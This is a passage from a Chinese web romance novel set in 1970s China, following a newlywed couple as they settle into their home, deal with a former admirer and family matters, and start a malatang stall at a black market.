今天刚好是与她们相熟的售货员在值班,将价格算清楚后,见着是她们,售货员见她们上下都打量一番,露出了然的眼神。 “结婚了?” 看着浑身都冒着甜蜜泡泡的模样,售货员觉得自己猜得八九不离十。 季白青和温淼点头,给她抓了一把糖。 “同志,请你吃喜糖,就当沾沾喜气。” 售货员收下了,笑眯眯道:“那我就收下了。姐说一句啊,你们两个姑娘,一定要好好过日子,只要相互照顾、不离不弃,不管以后的情况怎么样,日子都不会差的。” 季白青笑道:“那就承你吉言了。” 售货员给她们用过员工内部价打了个折,收了钱和票后看她们离开。 季白青还去了赵婉那,也给她送了一份喜糖,赵婉给她一兜子东西,说里面是季白青总喜欢捡的。 季白青哭笑不得地收下,除此之外,还去了胡蝶和其她几个朋友那送喜糖。 喜糖送完后,到了中午的时间,两人在国营饭店吃了一顿饭,这才慢悠悠地往家里赶。 两人的东西正在陆陆续续地往新屋拿,所以回的也是新屋,独属于两人的小家。 只是季白青骑着车到家附近的时候却又再次看见了潘红霞。 见季白青的速度慢下来,温淼有些奇怪,问:“怎么了?” 季白青摇了摇头,解释:“门口有人。” 温淼探出头去后才发现来人是潘红霞。 她从后座上跳了下来,季白青只好下车推着自行车走。 原本想要装作没看到,但是同潘红霞擦身而过的时候,还是被她开口叫住: “淼淼,季白青。” 温淼转过头去,有些奇怪地看着她,不知道她来这里的原因。 她叫她们干什么? 季白青看着前面,头都没回,见状,潘红霞的心里越发酸涩。 明明刚才过来的时候,脸上还是带着笑的,难道见到了她就那么不高兴吗? 她哑然,好一会儿后才开口道:“祝你们新婚……快乐。” 她的视线从温淼漂亮的脸蛋挪到季白青的背上,轻声询问温淼:“淼淼,我想和季白青单独说一会儿话,你可以回避一下吗?” 这话在季白青听来格外讽刺,她冷不丁道:“我和你没什么话好说的,不管你是威胁我还是要说什么其它的话,这些对我来说都没用。” 听出来话中所存的意思,温淼皱着眉,侧目看了潘红霞一眼。 对方没有在看自己,只是满眼雾气地盯着季白青,喃喃道:“我、我其实不是那个意思。” “我没想威胁你的,我上次只是骗你而已,我不会告密的。” 她还想要再多说点什么,却被季白青打断。 “无论你是什么原因,有些话说出去了就收不回来,谁知道你说的真话还是假话,更何况我也不想要再听你解释什么。” 她冷冷看了潘红霞一眼,目光落在她身边的温淼身上后又温软下来,对她招了招手。 “老婆,回去了。” 潘红霞眼里的光彻底黯淡下来,她对自己真的很狠心。 温淼上前几步,和季白青并肩往家里走。 回到家,温淼才有些疑惑地发问。 “你和潘红霞怎么了?” 看着潘红霞的表情,两人似乎渊源颇深。 季白青揉了揉眉心,简单将事情的说了一遍,略去了拿结婚威胁和潘红霞喜欢自己这两件事。 温淼听了后,垂着眼,最后还是猜到了。 “她……是不是喜欢你?” 季白青被她盯着,莫名心虚几分。 她立马解释:“可我只喜欢你。” 温淼牵着她的手抓紧,轻哼一声。 “好多人喜欢你。” 季白青幽幽看她一眼,“也很多人喜欢你啊。” 妻妻两人四目相对,最后不约而同地同时挪开了视线。 说到这件事上,两人虽然没有喜欢过另外的人,但一提起来还是会觉得有些心虚。 毕竟两人在桃花方面确实都挺旺的,真这样认真算下去只能两败俱伤。 季白青走过去抱住温淼,亲亲她的发顶。 “真的只喜欢你。” 千万年,喜欢的就眼前这么一个。 【作者有话说】 想说的话如字数嘿嘿,要爱久久! 青淼新婚快乐 感谢投雷营养液,感谢评论订阅收藏 110-120 第111章 ◎麻辣烫◎ 潘红霞的出现对她们来说只是一个并不重要的小插曲,两人没有围绕她继续说下去,过了一会儿后就开始收拾屋内屋外。 昨天晚上客人离开的时候,何香月她们连带着将借的桌子、板凳和碗筷都还了回去,院子也基本打扫了一遍,只是何香月她们不想打扰新婚妻妻晚上独处,便留了堂屋的卫生没弄,所以只能今天季白青和温淼一起收拾。 地上和桌上的垃圾也不算太多,昨天吃了饭之后也简单扫了扫,现在擦擦桌子再扫个地也差不多了。 收拾好后,两人将昨天邀请的亲朋好友的礼金单拿来看了看,平常的酒席村里人都是给个一毛两毛意思意思,可但昨天来的人都是关系亲近的,最少的也给了一块钱。 仔细将礼金单看了一遍,季白青才发现梅叙随的最多,竟然有九百九十九,其次是尚敏,随了一百。 温淼看着单子上的数,将昨天收到的红包都拿了出来,梅叙的那个红包薄薄的,打开一看,才发现里面是一本存折。 妻妻俩对上一眼,季白青问:“这么多,要还回去吗?” 温淼拧着眉,毫不犹豫地点头。 虽然结婚随多少钱是看心意,她这数字寓意也好,但是梅叙这随的也实在是太多了吧。 怎么样都不能收这么多。 “明天学校还给了一天的假,早上我和你一起去食品站,到时候再一起去找梅姨把钱还给她。” 她们周一结婚,学校将周二和周三都算了婚假,给温淼找了老师代课,所以她这几天都不用去学校。 尚敏其实随的也挺多的,有一百,两人想了想,还是没有准备退,到时候等着尚敏遇到喜欢的人结婚后再还回去好了。 点完礼金,再将何香月和温向荣她们给的改口红包打开,她们大概是商量好了,都给的两百。 妻妻俩其实也有着不少的存款,拿长辈的钱总觉得还有些不好*意思,尤其温向荣现在没了经济来源,她们合计一番后便打算到过年的时候将这些钱再变着法还回去。 最后季白青才将赵婉给的小包袱打开,袋子里有些沉,一翻开,里面装着基本教科书,都是理科题目,家里恰好也没有。 这东西确实挺有用的,季白青将其收好,准备留着明年看。 将钱和七七八八的东西全都收拾好,妻妻俩人都有些困倦,上床相拥睡了个午觉。 周三,拿着梅叙给的存折,季白青和温淼一大早骑着自行车出门。 两人到了食品站见到了王宝珠后,王宝珠看她们十指相扣的手,笑眯眯道:“新婚快乐。” 季白青和温淼笑着应下,在等着季白青卖肉的时间里,温淼骑着车去了邮局,取了从京市寄来的包裹。 回到仓库,季白青卖完肉回来还要一段时间,温淼将包裹打开,没看其它零散的东西,将一本黑皮笔记本拿了起来。 将里面的内容大概翻了翻,看到里面除了自己外高频率出现的人名,温淼渐渐沉默下来。 温泠月为什么会在日记本里提到那么多次的梅叙?是因为怀念,还是……喜欢? 她没有明写,温淼也猜不到。 等到季白青推着推车回来的时候,见到的便是温淼在愣神的模样。 她将推车放好,站在温淼面前奇怪道:“在想什么?” 温淼这才猛地回了神,她摇了摇头。 “没事。” 这些事现在再来纠结好像有些迟了,温泠月早已经……不在了。 她的手微微攥紧,忽然心里多了几分失落。 自己结婚,有了会一直陪她走下去的爱人,可这些,妈妈都不能看到。 季白青感受到了她的低落,没说话,只是去将自己的手清洗干净后牵住了温淼的。 她柔声与温淼说话:“如果觉得很不开心的话,可以和我说,不要憋在心里。” 温淼抬眸,看她盛着温柔的杏眼,轻轻点头。 “回去再和你说。” 她现在心里还有些乱,也不知道该怎么组织语言。 季白青应下,将一边放着的包裹拿起,架在自行车前面,两人去供销社买了些吃的,这才提着东西往梅叙家赶。 到了梅叙家的时候,是梅大娘给她们开的门。 见到了她们后,梅大娘脸上多了点笑容,给她们倒了水,问候道:“淼淼和白青啊,你们今天怎么来了?” 捧着水杯,季白青笑着解释:“大娘,我们来找梅姨,梅姨在吗?” 梅大娘一愣,脸上有些歉意。 “哎呀,叙叙她昨天晚上就被叫去出差了,你们来的不是时候,有什么话如果方便的话可以跟大娘先说说,到时候大娘再转告给叙叙。” 季白青也没想到就这么不凑巧,她想了想,确实也不知道梅叙什么时候回来,与温淼对上一眼,两人的想法一致。 她便开口道:“大娘,十八号那天你和梅姨随的礼金太多了,我们怎么好意思收,今天就是想要把礼金还回来的。” 说着,她将存折推给梅大娘。 梅大娘嗔怪地看了她一眼,梅叙随礼金多少钱自然是和她商量了的。 这些年来,梅叙将自己的内心封闭,一心投入工作,梅大娘看在眼里,当娘的哪有不心疼的。 现在见她心里多了两个念着的人,她自然高兴。 只是随出去几百块钱而已,这些都是梅叙自己赚的,花哪里不是花,梅大娘也不心疼,更何况季白青和温淼妻妻两个她也喜欢得很呢。 拿起存折,她不容置喙地将其塞回季白青的怀里。 “好了,大娘知道里面有多少钱,这存折里有单位开的身份证明,到时候直接去取钱就行了,随出去的钱哪有要回来的道理?你们快收下。” 季白青还想要推回去,几个来回之后,看着再次回到自己手里的存折,她沉默一瞬,最后还是没有和她坚持下去。 只能说,虽然她力气大,但是在这种拉锯战中,还是没有梅大娘有经验。 见季白青不再坚持将存折还回来,梅大娘喘出一口大气。 “哎哟,看看你们,把东西收好这不就得了,偏偏要和大娘犟。” “中午留不留下来吃饭?马上要做饭了,吃了饭再走啊。” 季白青拉着温淼起身,生怕再晚一秒又要被按着留下吃饭了。 她开口推拒道:“算了大娘,我们还回去有事呢。” 梅大娘有些可惜,将她们送到了门口。 “下次再来啊,下次一定要留下来吃饭。” 梅大娘依依不舍地看着她们,家里一个人冷清,多两个姑娘还是热闹不少。 季白青对摆摆手:“大娘,下次!” 正准备走,温淼犹豫了好一会儿最后关头还是做好了决定,她拉住季白青,上前一步将手里的笔记本递给梅大娘。 “大娘,这个笔记本是我妈妈的遗物,麻烦你在梅姨回来的时候把这个交给她。” 梅大娘结果,点头。 东西最终还是给了出去,只是不知道梅叙在看到这日记本的时候心里会是什么感受。 不过温淼现在的心情倒是没有刚开始的沉重。 她在回去的路上给季白青解释日记本上的内容:“我看妈妈总是提到梅姨,不知道她是喜欢梅姨还是单纯地把他当朋友。” 季白青一下指出问题所在:“可是这是上一辈的事情,和你没有很大的关系,不用因为这些太影响心情。” 温淼放在她腰上的手缩紧,眼神难得带了些迷茫,声音也低落下来。 “可是我担心妈妈是为了我才不和李文宇离婚,如果是这样的话,妈妈喜欢梅姨,原本可以离婚后再和她在一起的。” 如果温泠月也喜欢梅叙,那她们就是两情相悦。 一想到自己阻碍着温泠月追求幸福,温淼就觉得很愧疚。 季白青被她的话噎住,倒是没想到她能想到这么多。 她也仔细想了想,说:“可是你不是妈妈,你也不知道当时的情况到底是怎么样的,影响妈妈做出决定的肯定不会只有你这一个因素。” 从温淼和温向荣的描述中,季白青大概能够拼凑出一个温泠月的大概形象。 清冷、理智、聪慧。 这样的人做决定怎么可能只会被一个原因影响,即使是自己的亲女儿。 更何况,季白青继续道:“你是妈妈的幸福来源之一才对,怎么会是她的阻碍呢,你这话让妈妈听到了,她该难过了。” 温淼听了她的话,还有些怀疑。 “……真的是这样吗?” 季白青叹出一口气,如果不是因为正在骑车的话,非要敲敲她的小脑袋瓜,看看她到底都是在想些什么。 不过自己的老婆,还是得哄着。 她耐心道:“当然是真的了,你是妈妈的幸福之一。” 温淼的眼眸起了一层浅浅雾气,低低应了一声。 被季白青开导了一番,她现在的心情好了很多。 季白青说得没错,温泠月在她小时候就说过很多次爱她。 所以她的存在是让妈妈高兴才对,才不是什么阻碍。 这样误会温泠月的话,被她知道了她确实该难过了。 两人回了家,即使温淼情绪好了很多,季白青还是又耐心地另外将人哄了好一会儿。 这才刚结婚几天,不能让她带着一丝不高兴的情绪。 温淼自然知道她对自己的上心程度,轻轻抱住了她,将下巴抵在青年的肩膀上。 她声音轻轻:“现在已经不难过了,以后再也不乱想了。” 季白青反应过来后立马应声,语气带笑:“想通了就好。” 在女人脸上轻啄一口,她温声道:“要高兴,不高兴的想法得及时和我说。” 新婚妻妻过了几天如胶似漆的日子,将季家那边放着的东西都陆陆续续地搬到了新房这边来。 新房的大衣柜里放满了两人的各色衣物,化妆桌也上挤着瓶瓶罐罐,都带着妻妻两人浓厚的生活气息。 小家被两人的东西填满,逐渐有了更多家的气息。 季白青闲暇下来的时间在院子里也种了一圈的花,篱笆脚都种的月季,长大后攀到篱笆上会很漂亮。 院子除了鸡圈外的其它地方划了一块地种菜,其它地方都种的蔷薇花。 鸡圈的鸡已经陆陆续续开始下蛋了,两只母鸡,每天下两个蛋,有着满满和小米持之以恒地抓虫子喂,现在都长得膘肥体壮的,过年杀一只可以吃两顿。 温淼早在周四就正常去小学上课了,季白青也没有闲着,每天去山上捡板栗和核桃去黑市卖。 一转眼间,天气逐渐转凉,原本柔和的风里都掺了几分寒意,呼呼一吹,卷着枝干上的的枯叶往下坠。 时间过得快,一下就到了十一月中旬。 先前季白青一直在黑市卖山核桃和板栗是因为还担心王老三她们会在黑市蹲守打击报复,如果做麻辣烫的话,真引来了警察,那带着汤汤水水不好跑。 但是现在一个多月过去,她所担心的事情没有发生,便打算先做了麻辣烫来黑市试试。 到时候再有什么突发情况她再随机应变,总不能因为担心这担心那,连钱都不赚了吧。 这可不行,季白青还要养老婆、女儿、母父、奶娘一大家子。 想到家里温棉棉的大胃口,季白青就觉得牙疼。 七十年代没有猫粮,只能可劲给它找肉吃。 她按照先前早就调配出来的麻辣烫的调料比例,买了各种调料和香料加在一起,又去山上就地取材削了几百根竹签,分别串上萝卜、青菜、玉米、猪肺…… 大概有二十多种可以供人选择,还需要明天一大早提前起来煮卤水,再把红薯粉也提前泡软,到时候再放进热汤里几分钟便能直接吃了。 最后想了想,季白青还是在下午的时候就将卤水煮上了,现在的天气冷,晚上气温寒凉,东西放一夜也不会坏掉。 上次温淼就很爱吃这个,她挑了几串自己和温淼爱吃的串放卤水里煮着,等到熟了之后捞出来,往上浇了点汤汁,又是一盘菜。 她另外给温淼煮了点红薯粉,又另外炒了个韭菜鸡蛋,晚饭就好了。 温淼从学校回来的时候,就嗅到了从屋里传来的浓厚香味。 如果不是因为两人的婚房选的地方离其她住户远,大概不少人都得来看看季白青晚上到底煮的什么。 温淼揉了揉肚子,感觉有些饿了。 一回到家,温棉棉高高地翘着尾巴来蹭温淼的腿,发出咕噜咕噜声。 温淼蹲下身揉揉它的头。 季白青端着菜上桌,见她们的互动,眼里闪过一丝笑意。 “吃饭了。”她唤道。 又另外把小猫用的碗放在另外一张小桌上,棉棉毫不犹豫抛弃温淼,跳上桌子嗷呜嗷呜开始吃猫饭。 温淼嘟了嘟嘴,有些不高兴。 “坏猫。”季白青出言指责,对温淼招了招手,“老婆,快过来亲一口。” 温淼走过去,两人接了个短暂的吻。 季白青揉揉她的脸,黏黏糊糊开口:“想你了。” 温淼将她推开,坐到了自己的位置上,耸着鼻尖嗅饭菜香味儿。 她漫不经心回答:“你就知道哄我,明明中午才见过。” 季白青看着她,“但下午都没有见,我很想你,但你一回来就摸猫。” 也没见温淼一回来摸摸她,季白青心里泛酸。 说着,她看了眼正吃得不亦乐乎的温棉棉。 温淼抬起头,看出来季白青眼里的几分认真。 她不解:“季白青,你多大人了?怎么还吃猫的醋。” 还好意思自称温棉棉妈妈,哪有妈妈这么小气的。 “而且,是棉棉主动翘着尾巴出来迎接我的,所以我才揉它。” 她看着季白青,声音里带了几分笑意:“你下次摇着尾巴来接我的话,我最先摸你。” 季白青:“……我哪有尾巴,又不是小狗。” 温淼闻言,冷笑一声,将高领上衣往下一拨弄,露出雪白颈脖上星星点点的鲜红吻痕和齿痕。 “也不知道是哪只小狗在我身上留的痕迹。” 罪魁祸首见到了自己的“杰作”后也就心虚了一瞬,下一秒立马承认。 “好吧,下次会晃着尾巴接老婆回家的。” 羞不羞耻什么的,季白青都不管了,暂且将其称之为妻妻情趣。 温淼轻哼一声,将手放下,衣领因为动作微微往下折,依稀可以看到一点吻痕。 季白青盯着那一处看了看,心里暗戳戳地想,温淼的颈项那么美,她控制不住想要在那留下自己的痕迹而已。 无论是谁对着自己的老婆都不会有这么强的控制力的吧?更何况现在都不是夏天了,全身的痕迹都可以被掩盖在衣物下。 她想着,殷勤地给温淼夹红薯粉,挑了她爱吃的菜夹给她。 温淼不太能吃辣,她煮卤水的时候没有放太多辣,明天去黑市的之前再加上就好,也不会太影响味道。 她随意吃了点,再抬头,见温淼低头吃得认真,笑眯眯问:“好吃吗?” 温淼点头,“很好吃。” 这样的话她说的很多,毕竟很多时候家里都是季白青在动手做饭,她只需要等着吃饭,所以无论什么时候都会很捧场,把季白青给她夹的吃完,夸她做的菜好吃。 不过季白青的手艺确实很好,从来没有失手过。 两人结婚差不多一个月的时间,温淼的胃口大了些,也长了点肉,季白青将她抱在怀里的时候觉得很舒服。 心里也有一种满足感,将自己老婆养得这么好。 见她喜欢,季白青又给她夹了些菜。 温淼也挑着季白青喜欢的夹在她碗里,说:“好啦,你认真吃饭,我会自己夹菜的。” 季白青点头,但还是时不时抬头注视着她,给她夹菜。 她知道温淼的饭量,在其之上再多吃一点也不会撑着。 明天需要早起准备卤水和麻辣烫的菜,季白青没有折腾温淼。 妻妻俩早早地睡了,凌晨三点的时候,季白青起床去灶房开始准备。 此时她足够庆幸之前有先见之明给屋子里牵了电线,不然现在干活要么点煤油灯要么打手电筒,干几个小时眼睛都得瞎了。 她将昨天准备好的菜切成薄片,刚切完,就听见了细微的脚步声。 扭头一看,温淼披了件外套,站在一边,声音还带着几分困倦。 “我来给你帮忙。” 说着,她拿起一边的竹签开始串菜。 季白青告诉她量之后便和她一起串。 虽然今天是第一天卖麻辣烫,但是季白青也没有压着量,两人一起串了几百串菜,一锅一锅地放进卤水中煮着。 等到差不多准备好要出门的时候,温淼帮着她一起将裹着破袄子的铁桶绑好后,季白青准备骑车去黑市。 在温淼的脸上亲了亲,她温声道:“上午没课就好好休息休息,先吃个早饭再回去睡。” 温淼乖乖点头。 “那你注意安全。” 见季白青骑着车走远后,温淼才回去洗漱吃早饭。 随着天气变冷,现在的天也亮得越来越晚,现在五点,夜色浓稠漆黑,伸手不见五指。 季白青倒觉得不错,刚好能够给自己打掩护。 到黑市的时候不早不晚,现在的太阳也不晒,季白青挑了个好随时跑路的位置停下,将桶和筐里的菜和粉拿下来摆开。 现在人还不错,盖子一挪动,浓烈的香辣味直直地往人的鼻尖钻,带了轻微的呛,无端勾起了人心里的馋意。 不少人来黑市卖东西都还没能吃上一顿早饭,此时嗅到这么霸道的香味,肚子响起的轰鸣声不断。 隔壁卖鞋垫的受不住这气味的勾缠,又知道季白青卖的东西一向贵,不想花这个钱,只能无奈对季白青道:“同志,你这味道也太香了,把盖子盖好点吧,不然……” 她捂着自己的肚子,苦笑一声。 季白青看着她,反而将盖子掀开了,笑眯眯开口道:“姐,尝尝我的新品吧,这叫麻辣烫,不贵,素菜两分钱一串,荤菜三分钱,加红薯粉的话是一毛,随便给个票就行。” 闻言,卖鞋垫的同志有些心动。 季白青趁热打铁道:“姐要是没带饭盒的话,我拿了碗,给你装上东西,盛点汤,热热乎乎的,保证让你吃得身体都暖和起来。” 闻言,她也不再纠结,掏出自己带的饭盒给季白青。 “我带了饭盒,要一个猪肺,土豆片、豆角、猪血再加个青菜和粉丝。” “好嘞,一共两毛二!” 季白青利索将浸在汤汁里的菜挑出来,粉丝放进去等了一两分钟,捞起来放进饭盒里,再浇上一勺汤,热气白腾腾往上冒,光是闻着就觉得好吃。 女同志给了钱和一张粮票后接过饭盒,大口地嗦了口粉。 不少人都看着她,期待地发问:“味道怎么样?” 女同志狼吞虎咽地将粉咽下,感受着舌尖仍旧存在的辛辣与鲜香,对季白青竖起大拇指。 “味道真不错!” 闻着香,吃起来香,还不算贵。 不少人闻言,还没有开始卖出东西,就抢着要去买季白青的麻辣烫。 “同志,我要一个粉丝加两个青菜。” “我也要!” “别挤我啊!是我先来的。” 【作者有话说】 再过度一下就高考啦 明天一定不ddl!!![化了] 感谢投雷营养液,感谢评论订阅收藏 第112章 3w营养液加更二合一 ◎忽然而已◎ 季白青有些无奈,手上挑串的动作不停,一边开口组织秩序:“大家别急,一个个来,很快的。” 说着,她将面前的饭盒打满:“大娘,这是你的,一起三毛钱!” 来黑市卖东西的人现在每个人手上都捧了一碗麻辣烫,鲜香辛辣的味道四散开,馋得每个人只要是闻到了都想要吃上一口。 好在这一处地方在离镇上有一段距离,不然这样大喇喇的香味飘出去,轻易就能将警察招来。 等着这一批买麻辣烫的人群散去之后,天光大亮,陆续有买东西的人涌入黑市。 闻到了麻辣烫浓烈的香味后,众人自然都是要买一碗的,有人从没有吃过这样的吃食,便想要每一串的味道都尝尝,买的也多。 季白青一大早和温淼一起准备的五百多串菜在不到十点的时候就卖完了。 排在最后一个买到的人后面的人见到了她后就麻辣烫没了,季白青已经在收摊,只觉得有些可惜。 她开口问道:“同志,明天多准备点啊,我还想要每个味道都尝尝呢。” “刚才花时间排了这么久,一到我就没了,你这也做的太少了吧。”她埋怨道。 季白青听了她的话,又见着她身后排着队的几个人也连连点头,沉吟一会儿便道:“大家要是想吃的话可以今天提前预定,告诉我要吃什么,方便的话把饭盒给我,明天出门前就把你们的份给装好,到时候直接来取就行。” 闻言,那人的眼睛一亮,将自己的饭盒递给季白青,开口道:“每个菜都要一串,再要两份红薯粉。” 季白青此时庆幸自己还好有随身携带纸和笔的习惯,将她的饭盒收下,放在摆在筐里,又收了五分钱的定金,等着她离开后,再登记下一个人明天要吃的。 不少人见这种预定的方法新鲜又方便,即使买到了也纷纷来排队预定。 花了半个多小时,总算是将明天预定的人想要的菜式都写了下来。 但是提前预定的到底还是少数,季白青都只收了五分钱的订金,等着明天将麻辣烫给对方后再收剩下的钱。 季白青想着,明天或许可以试着再多准备一倍的菜,不出意外应该能卖出去。 她这样想着,动作利索地收了摊,去食品站买了些家里没有的菜后骑着车往家赶。 到家不过十一点,没在家看到温淼,大概是临时安排了课,季白青看着刚买回来的鸡爪,打算做个虎皮凤爪给温淼尝尝。 买了差不多二十个鸡爪,将鸡爪清理干净后焯水,抹上调料腌制小段时间后开始倒油炸鸡爪,鸡爪颜色变深后捞出来,再往锅里加上香料调料翻炒,随后加水烧开,卤水被熬制出来后再次加入鸡爪。 大火炖上三十分钟就可以出锅了。 为了方便,新房这边还特意打了两口铁锅,两个灶。 在卤鸡爪的时候,季白青又炒了个青菜,煮了个萝卜汤,当做午饭。 温淼回来的时候,季白青刚好将虎皮凤爪盛出来。 分了部分出来,两人一起把鸡爪送到了何香月她们那去,又给温如嫣也送了几个,让她们都尝尝味道,这才回到家开始吃午饭。 在路上花了点时间,到家的时候,出锅的菜热气散去一些,是刚好入口的温。 季白青先给温淼夹了一个鸡爪后自己才尝了一口,吃了一口后,她想,味道还不错,和后世在外面买的也没什么差别。 回想起来,这味道已经很久没有馋过了,她的腿微晃。 鸡爪只是微辣,更多的是香,入口即化,温淼还从来没有尝过这样口味的鸡爪。 她眼眸明亮,吃完一个鸡爪后有些好奇地看着季白青,询问:“这是明天要去卖的东西吗?” 季白青闻言,要去夹菜的动作一顿。 有些无奈地抬眼看向温淼,她想,怎么每次一做什么好吃的大美人想的就是她要把这拿去黑市卖啊? 做个虎皮凤爪又要买肉,又要那么多油,还废时间,做出来的东西肯定不便宜,这也意味着买账的人不会多。 如果真做这个去卖的话,那不是得不偿失吗? 她没有回答对方的问题,只是先单纯问温淼:“好吃吗?” 温淼侧过头去,有些疑惑地看向她,如实回答道:“好吃。” 青年语气无奈,声音徐徐:“所以有没有可能,我做这个给你吃,不是因为拿你当试吃,而是想到了好吃的东西想要给我老婆也尝尝呢?” 温淼闻言,抿唇笑得有些羞怯。 她慢吞吞应了一声,“噢,那我知道啦。” 季白青也弯起眸子,给她夹菜。 温淼的课临时被调到上午,所以下午没有课,她便说要帮季白青准备明天的串,两个人干活轻松一些,所以季白青也没有一吃完饭就开始忙活,两人忙里偷闲睡了个午觉。 温淼的身体不算太好,还有些虚,从温如嫣口中得知温淼午睡久了后会头晕,还越睡越困后,季白青一般也不让她久睡。 平日里午睡时间都是半个小时左右,再睡久一些就该头晕了。 半个小时过后,季白青醒了过来,看了眼手上的表,再看看埋在自己胸前睡得恬静的脸蛋,也就盯了一会儿,随后她毫不留情地将人叫醒。 温淼在她胸前蹭了蹭,语气绵柔地同她撒娇:“老婆,想要再睡一会儿。” 季白青坐起来靠在床头,看她也丝毫不受影响,脸落下去,顺势将头枕在自己的大腿上,有些无奈。 “快醒了。刚才不是还说要帮我干活吗?再睡可什么都干不了了。” 温淼嘤咛一声,耍赖道:“那我不要帮你干活了。” 季白青一笑,直接提溜着人的腋下将女人抱起来,让她压在自己的身上。 看着她睡得红扑扑的脸蛋,她捏着女人的下巴,对准红唇亲了上去。 温淼没睡醒,反应迟钝,被亲得迷迷糊糊,肺腔的氧气因为亲吻被消耗得所剩无几,她下意识地仰起头,放在季白青身上的手将她的衣服抓皱。 季白青点到为止,最后舔了舔她的唇瓣,将人放开。 手放在女人挺翘的臀尖上拍了拍,她问:“小猪,醒了没?” 温淼眨眼,缓了好一会儿,最后慢半拍反应过来她说的是什么。 脸颊上泛起了红晕,软绵绵地瞪着季白青:“你才是小猪。” 只是可惜,被亲得浑身发软的女人无论是声音还是眼神里都不带任何威慑力。 季白青低笑一声,自己起床后将人抱下了床。 “行了,起来吧,帮你老婆干活。” 帮温淼换好衣服,两人喝了杯温水,随后睡意散得差不多了。 先是去地上摘了些菜,土豆、莴笋喜欢吃的人挺多,她们便多摘了一些,季白青还想着有时间可以晒点莴笋干,到时候泡开就成了贡菜,脆脆的很好吃,去卖或者是自家留着吃都可以。 也不知道地上种的菜能够用多久,再卖几天麻辣烫,要是不够的话可以去别人家换上一些。 将菜摘回去后,季白青又上山砍了竹子,又削了几百个竹签,她切菜,温淼串菜。 手拿着刀,季白青切那么多菜切得手腕都微微发颤,果然无论是干什么事都比做1难,还是当1最轻松了。 看着温淼专注的侧脸,她如是想到。 温淼也串得有些累,季白青见她指腹都因为串菜拿竹签有些发红。 顿时心疼了,她开口道:“蓁蓁,明天不是有课吗?你去备课,剩下这些我来。” 温淼垂眸继续认真干活,闻言只是摇了摇头。 “没事,现在还不太累,这么多你一个人得干到什么时候去?” 闻言,季白青没再劝,只是默默加快了手上的速度,争取多干点,努力让温淼接下来干的活少点。 两人又串了一个小时,总算是把明天的菜备好了。 将菜放在阴凉处放好,季白青拿了药酒,给温淼揉着指腹和手腕。 等到将药酒揉开后才放她去看书。 晚上的时候,剥了前段时间捡回家的板栗,做了个板栗炖鸡,板栗香甜绵软,鸡肉的肉质鲜嫩鲜甜,温淼还挺喜欢吃的。 问了温淼的意见后,季白青又煮了几十串串麻辣烫,送了点过何香月和温如嫣她们那去,剩下的妻妻两人吃。 第二天要早起,季白青睡得比往日要早一些,温淼翻书写字的声音也尽量放缓。 就着风吹树叶和落笔写字的沙沙声,季白青很快睡着。 凌晨三点,她准时醒来,将卤水烧上,洗漱完后将菜放进卤水里煮,煮熟之后将昨天预定的菜都放进了相应的饭盒里去。 将所有预定的菜装好之后,季白青将卤水和菜都盛出来,留了一份没那么辣的在锅里给温淼当早饭,她骑上车往黑市去。 今天准备了一千多串的菜,根据众人的口味,将卤水调得更辣一些,一过去,就有人在等着要买麻辣烫了。 季白青东西一放稳,就连忙开始给她们拿菜。 等到六点的时候,才闲了下来。 早上活太多,还没来得及吃饭,季白青饿得不行,也吃了碗麻辣烫。 等到吃完后,黑市的人流量一大,买麻辣烫和拿昨天预定好的菜的人都来了,她忙活得脚不沾地。 季白青这在镇上少见的吃法还是占了便宜,价格便宜加上味道不错,很多人都喜欢,买了一次也愿意来买第二次。 在卖麻辣烫的第二天,虽然多准备了那么多菜,但还是在十点不到的时候就将所有的菜都卖完了,红薯粉也没剩下。 今天提前预定菜的人比昨天多了十几个,季白青回去的时候脑瓜子还是嗡嗡的,实在是太忙了,要不是她脑子转得快,算钱都得算错。 季白青打算先再继续卖几天试试,看看麻辣烫生意会不会一直这么火爆。 如果不是的话,那这股新鲜劲过去后,每天的工作量应该就能恢复正常。 如果一直这么好卖的话,季白青觉得还是得叫个人来帮忙。 回去之后,季白青和温淼提了这个问题,温淼也觉得可行。 季白青打算明天再加点卖,又去削了点竹签,和何香月招呼一声,让她帮着自己收一些蔬菜。 除了需要去食品站杀猪的日子,其它时间季白青都在黑市卖麻辣烫。 虽然前段时间太忙了,她显得有些不适应,但是几天过去,每天准备的都是一千串左右的数目,手速逐渐提了上来,心算能力也有所加强,她现在比以前要适应不少,原本打算好的雇人来帮忙的想法也被打消。 麻辣烫的生意比以前做的很多都要好做,季白青便打算在天冷的日子里继续做下去。 虽然要累一些,但是利润也挺可观的,除去成本,最少的时候每天也能挣上二十多,如果卖出去的荤菜和粉丝多的话,利润空间更大。 周四,季白青前一天特意多留猪肝和猪肺,将今天串的荤菜多了些。 温淼前几天给人代课,今天便没有课程安排,也跟着季白青一起来了。 两个人一起忙活,一个人收钱找钱,一个人帮忙盛菜,有人帮忙后,季白青比以前要轻松不少。 收完钱的功夫,温淼一眼扫过去人群,忽然看见了个小腹高高隆起的女人。 怀孕还来黑市的人不多,温淼印象深刻的就那么一个,那人显然是骗她们冰粉方子来卖的那对妻夫之一的张丽梅。 她往孕妇的周围扫视一圈,最终还是看到了被裹在厚重外套里仍旧显得干瘪的王老三。 眉心不自觉蹙起,她低头继续收钱,偶尔抬头看一眼人群中的两人。 她们还来这里干什么?买东西,还是见季白青在这里,想要……报复? 温淼这样想着,再一抬头的时候,两人已经不见了。 趁着面前买东西的人少,温淼将刚才看见的告诉了季白青。 闻言,季白青也皱起了眉。 还以为一个月过去,不会再有什么幺蛾子,没想到王老三她们还是过来了。 她将面前的同志的菜装好递给她,和温淼换了个活,收钱的同时在人群中搜寻王老三和张丽梅的身影。 几乎看遍了每个角落,最后季白青在角落看到了蹲在地上的王老三,张丽梅此时正在站着,满脸不耐烦地对着王老三说着什么。 见她们都在,季白青慢慢舒出一口气。 人还在就还好,现在看不到人才是糟了,那代表着已经去作妖了。 将最后一点东西卖出去后,季白青收拾好东西,立马准备和温淼回去。 在离开之前,她对着身边卖鞋垫的同志开口道: “同志,我刚才看到王老三她们了,不知道她们会不会举报黑市,*如果可以的话,你还是告诉其她人明天别过来了,之后再找个新的隐蔽的地方做生意,不然风险很大。” 闻言,那同志一愣,脸色凝重下来。 “好,待会儿我就和别人说说去。” 季白青和温淼叮嘱完一番后,飞快回了家。 到家的时候,季白青坐在沙发上,想着还有哪一块地方适合比现在的黑市所在更适合做生意。 最后却还是没能得出一个答案,好像就现在的黑市最合适。 她想着,第二天没有任何装扮,只是戴上了口罩和帽子,将来得早的那群人劝了回去之后,又拜托了胡蝶来这里劝人,她去了王老三的家门口蹲守。 